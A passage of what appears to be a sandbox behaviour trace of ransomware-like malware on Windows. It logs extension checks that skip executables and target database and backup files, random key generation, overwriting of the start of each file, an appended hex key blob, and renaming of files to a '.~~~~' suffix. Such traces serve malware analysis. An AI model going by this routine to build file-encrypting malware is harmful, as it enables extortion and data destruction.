	[0145.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".DTXS") returned 0x0
	[0145.855] lstrlenW (lpString=".ckp") returned 4
	[0145.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".ckp") returned 0x0
	[0145.855] lstrlenW (lpString=".dbt") returned 4
	[0145.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".dbt") returned 0x0
	[0145.855] lstrlenW (lpString=".db") returned 3
	[0145.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".db") returned 0x0
	[0145.855] lstrlenW (lpString=".TXT") returned 4
	[0145.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".TXT") returned 0x0
	[0145.855] lstrlenW (lpString=".MDF") returned 4
	[0145.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".MDF") returned 0x0
	[0145.855] lstrlenW (lpString=".bdb") returned 4
	[0145.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".bdb") returned 0x0
	[0145.855] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0145.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.856] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395f38) returned 1
	[0145.856] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.856] CryptReleaseContext (hProv=0x395f38, dwFlags=0x0) returned 1
	[0145.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0145.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0145.857] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26584682351) returned 1
	[0145.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc0585330, dwHighDateTime=0x1d60e1e)) 
	[0145.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0145.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0145.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0145.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f860
	[0145.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f860 | out: hHeap=0x300000) returned 1
	[0145.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0bc8
	[0145.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0145.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0145.857] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0145.858] GetLastError () returned 0x0
	[0145.858] GetLastError () returned 0x0
	[0145.858] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0145.858] GetLastError () returned 0x0
	[0145.858] GetLastError () returned 0x0
	[0145.858] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0145.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.865] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0145.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0145.865] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.865] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.882] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.882] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.882] CloseHandle (hObject=0x114) returned 1
	[0145.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7388
	[0145.883] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs.~~~~")) returned 1
	[0145.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c7388 | out: hHeap=0x300000) returned 1
	[0145.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0145.886] GetLastError () returned 0x0
	[0145.886] RtlWakeConditionVariable () returned 0x0
	[0145.886] GetCurrentThreadId () returned 0xaf0
	[0145.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".scr") returned 0x0
	[0145.886] lstrlenW (lpString=".cmd") returned 4
	[0145.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".cmd") returned 0x0
	[0145.886] lstrlenW (lpString=".dll") returned 4
	[0145.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".dll") returned 0x0
	[0145.886] lstrlenW (lpString=".bat") returned 4
	[0145.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".bat") returned 0x0
	[0145.886] lstrlenW (lpString=".cpl") returned 4
	[0145.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".cpl") returned 0x0
	[0145.886] lstrlenW (lpString=".sys") returned 4
	[0145.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".sys") returned 0x0
	[0145.887] lstrlenW (lpString=".msc") returned 4
	[0145.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".msc") returned 0x0
	[0145.887] lstrlenW (lpString=".com") returned 4
	[0145.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".com") returned 0x0
	[0145.887] lstrlenW (lpString=".lnk") returned 4
	[0145.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".lnk") returned 0x0
	[0145.887] lstrlenW (lpString=".msp") returned 4
	[0145.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".msp") returned 0x0
	[0145.887] lstrlenW (lpString=".pif") returned 4
	[0145.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".pif") returned 0x0
	[0145.887] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0145.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0145.889] lstrlenW (lpString=".sqb") returned 4
	[0145.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".sqb") returned 0x0
	[0145.889] lstrlenW (lpString=".ost") returned 4
	[0145.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".ost") returned 0x0
	[0145.889] lstrlenW (lpString=".txt") returned 4
	[0145.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".txt") returned 0x0
	[0145.889] lstrlenW (lpString=".mdt") returned 4
	[0145.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".mdt") returned 0x0
	[0145.889] lstrlenW (lpString=".BDB") returned 4
	[0145.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".BDB") returned 0x0
	[0145.889] lstrlenW (lpString=".eql") returned 4
	[0145.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".eql") returned 0x0
	[0145.889] lstrlenW (lpString=".DBF") returned 4
	[0145.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".DBF") returned 0x0
	[0145.889] lstrlenW (lpString=".EQL") returned 4
	[0145.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".EQL") returned 0x0
	[0145.889] lstrlenW (lpString=".FDB") returned 4
	[0145.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".FDB") returned 0x0
	[0145.890] lstrlenW (lpString=".EDB") returned 4
	[0145.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".EDB") returned 0x0
	[0145.890] lstrlenW (lpString=".DACPAC") returned 7
	[0145.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0145.890] lstrlenW (lpString=".VHD") returned 4
	[0145.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".VHD") returned 0x0
	[0145.890] lstrlenW (lpString=".DBV") returned 4
	[0145.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".DBV") returned 0x0
	[0145.890] lstrlenW (lpString=".dacpac") returned 7
	[0145.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0145.890] lstrlenW (lpString=".sdf") returned 4
	[0145.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".sdf") returned 0x0
	[0145.890] lstrlenW (lpString=".accdb") returned 6
	[0145.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".accdb") returned 0x0
	[0145.890] lstrlenW (lpString=".DBX") returned 4
	[0145.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".DBX") returned 0x0
	[0145.890] lstrlenW (lpString=".MDT") returned 4
	[0145.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".MDT") returned 0x0
	[0145.890] lstrlenW (lpString=".SQB") returned 4
	[0145.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".SQB") returned 0x0
	[0145.890] lstrlenW (lpString=".vhd") returned 4
	[0145.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".vhd") returned 0x0
	[0145.890] lstrlenW (lpString=".bac") returned 4
	[0145.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".bac") returned 0x0
	[0145.890] lstrlenW (lpString=".mdf") returned 4
	[0145.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".mdf") returned 0x0
	[0145.890] lstrlenW (lpString=".BAK") returned 4
	[0145.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".BAK") returned 0x0
	[0145.890] lstrlenW (lpString=".BAC") returned 4
	[0145.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".BAC") returned 0x0
	[0145.890] lstrlenW (lpString=".dbs") returned 4
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".dbs") returned 0x0
	[0145.891] lstrlenW (lpString=".vhdx") returned 5
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0145.891] lstrlenW (lpString=".NDF") returned 4
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".NDF") returned 0x0
	[0145.891] lstrlenW (lpString=".dat") returned 4
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".dat") returned 0x0
	[0145.891] lstrlenW (lpString=".DBS") returned 4
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".DBS") returned 0x0
	[0145.891] lstrlenW (lpString=".CKP") returned 4
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".CKP") returned 0x0
	[0145.891] lstrlenW (lpString=".edb") returned 4
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".edb") returned 0x0
	[0145.891] lstrlenW (lpString=".PST") returned 4
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".PST") returned 0x0
	[0145.891] lstrlenW (lpString=".dbf") returned 4
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".dbf") returned 0x0
	[0145.891] lstrlenW (lpString=".SQL") returned 4
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".SQL") returned 0x0
	[0145.891] lstrlenW (lpString=".pst") returned 4
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".pst") returned 0x0
	[0145.891] lstrlenW (lpString=".dbv") returned 4
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".dbv") returned 0x0
	[0145.891] lstrlenW (lpString=".SDF") returned 4
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".SDF") returned 0x0
	[0145.891] lstrlenW (lpString=".dtxs") returned 5
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0145.891] lstrlenW (lpString=".db3") returned 4
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".db3") returned 0x0
	[0145.891] lstrlenW (lpString=".OST") returned 4
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".OST") returned 0x0
	[0145.891] lstrlenW (lpString=".dbx") returned 4
	[0145.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".dbx") returned 0x0
	[0145.892] lstrlenW (lpString=".DB3") returned 4
	[0145.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".DB3") returned 0x0
	[0145.892] lstrlenW (lpString=".DAT") returned 4
	[0145.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".DAT") returned 0x0
	[0145.892] lstrlenW (lpString=".VHDX") returned 5
	[0145.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0145.892] lstrlenW (lpString=".ndf") returned 4
	[0145.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".ndf") returned 0x0
	[0145.892] lstrlenW (lpString=".DB") returned 3
	[0145.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".DB") returned 0x0
	[0145.892] lstrlenW (lpString=".sql") returned 4
	[0145.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".sql") returned 0x0
	[0145.892] lstrlenW (lpString=".MYD") returned 4
	[0145.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".MYD") returned 0x0
	[0145.892] lstrlenW (lpString=".DBT") returned 4
	[0145.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".DBT") returned 0x0
	[0145.892] lstrlenW (lpString=".ACCDB") returned 6
	[0145.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0145.892] lstrlenW (lpString=".fdb") returned 4
	[0145.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".fdb") returned 0x0
	[0145.892] lstrlenW (lpString=".bak") returned 4
	[0145.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".bak") returned 0x0
	[0145.893] lstrlenW (lpString=".myd") returned 4
	[0145.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".myd") returned 0x0
	[0145.893] lstrlenW (lpString=".DTXS") returned 5
	[0145.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0145.893] lstrlenW (lpString=".ckp") returned 4
	[0145.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".ckp") returned 0x0
	[0145.893] lstrlenW (lpString=".dbt") returned 4
	[0145.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".dbt") returned 0x0
	[0145.893] lstrlenW (lpString=".db") returned 3
	[0145.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".db") returned 0x0
	[0145.893] lstrlenW (lpString=".TXT") returned 4
	[0145.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".TXT") returned 0x0
	[0145.893] lstrlenW (lpString=".MDF") returned 4
	[0145.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".MDF") returned 0x0
	[0145.893] lstrlenW (lpString=".bdb") returned 4
	[0145.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".bdb") returned 0x0
	[0145.893] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0145.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.893] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3956b8) returned 1
	[0145.894] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.894] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0145.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0145.895] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26588466240) returned 1
	[0145.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc05d15f0, dwHighDateTime=0x1d60e1e)) 
	[0145.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0145.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0145.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0145.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f828
	[0145.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f828 | out: hHeap=0x300000) returned 1
	[0145.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0bc8
	[0145.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7258
	[0145.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0145.895] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0145.895] GetLastError () returned 0x0
	[0145.896] GetLastError () returned 0x0
	[0145.896] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0145.896] GetLastError () returned 0x0
	[0145.896] GetLastError () returned 0x0
	[0145.896] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0xcf, lpOverlapped=0x0) returned 1
	[0145.897] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.897] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0xcf, lpOverlapped=0x0) returned 1
